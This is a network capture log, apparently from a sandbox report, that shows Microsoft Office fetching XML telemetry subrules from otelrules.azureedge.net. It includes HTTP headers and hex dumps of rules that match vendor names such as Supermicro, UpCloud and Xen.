2024-10-30 19:14:10 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:10 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: e1f5471d-e01e-0051-4f6c-2784b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191410Z-15b8d89586f989rkwt13xern5400000003p000000000kv8c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:10 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:10 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:10 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:10 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 6741ff86-f01e-00aa-74b9-268521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191410Z-16849878b78j7llf5vkyvvcehs00000009d00000000110h7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:10 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:10 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:10 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:10 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 670c0d8f-b01e-0002-01b6-291b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191410Z-15b8d89586f6nn8zqg1h5suba800000003p000000000d7uf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:10 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:10 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:10 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:10 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: fe6c1954-001e-0082-5f6d-285880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191410Z-r197bdfb6b4hsj5bywyqk9r2xw0000000a20000000006trq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:10 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:10 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:10 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:10 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: df439d9f-401e-0067-5610-2709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191410Z-16849878b786lft2mu9uftf3y400000009s0000000008y68 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 19:14:10 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:11 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:11 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:11 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 9f581369-601e-00ab-15c9-2a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191411Z-16849878b78fkwcjkpn19c5dsn00000007d000000000rg1t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 19:14:11 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:11 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:11 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:11 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: f6a2cc2d-401e-0015-3796-250e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191411Z-16849878b78qwx7pmw9x5fub1c00000006pg00000000430d x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:11 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:11 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:11 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:11 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: af2b1dc9-001e-0066-0d6c-27561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191411Z-16849878b782d4lwcu6h6gmxnw000000086g000000003nhg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:11 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:11 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:11 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:11 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 8a3f5c5e-301e-000c-55dc-26323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191411Z-17c5cb586f64v7xsc2ahm8gsgw00000003dg00000000caft x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:11 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:11 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:11 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:11 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 013f0f94-801e-00ac-2ef3-24fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191411Z-15b8d89586fcvr6p5956n5d0rc0000000emg000000006ahk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:11 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:11 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:12 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:12 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: bb28544f-801e-0047-7562-267265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191412Z-16849878b78p49s6zkwt11bbkn000000083000000000gvys x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:12 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:12 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:12 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:12 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: c3c63728-001e-0082-75c8-275880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191412Z-17c5cb586f626sn8grcgm1gf8000000006v000000000ngsa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:12 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:12 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
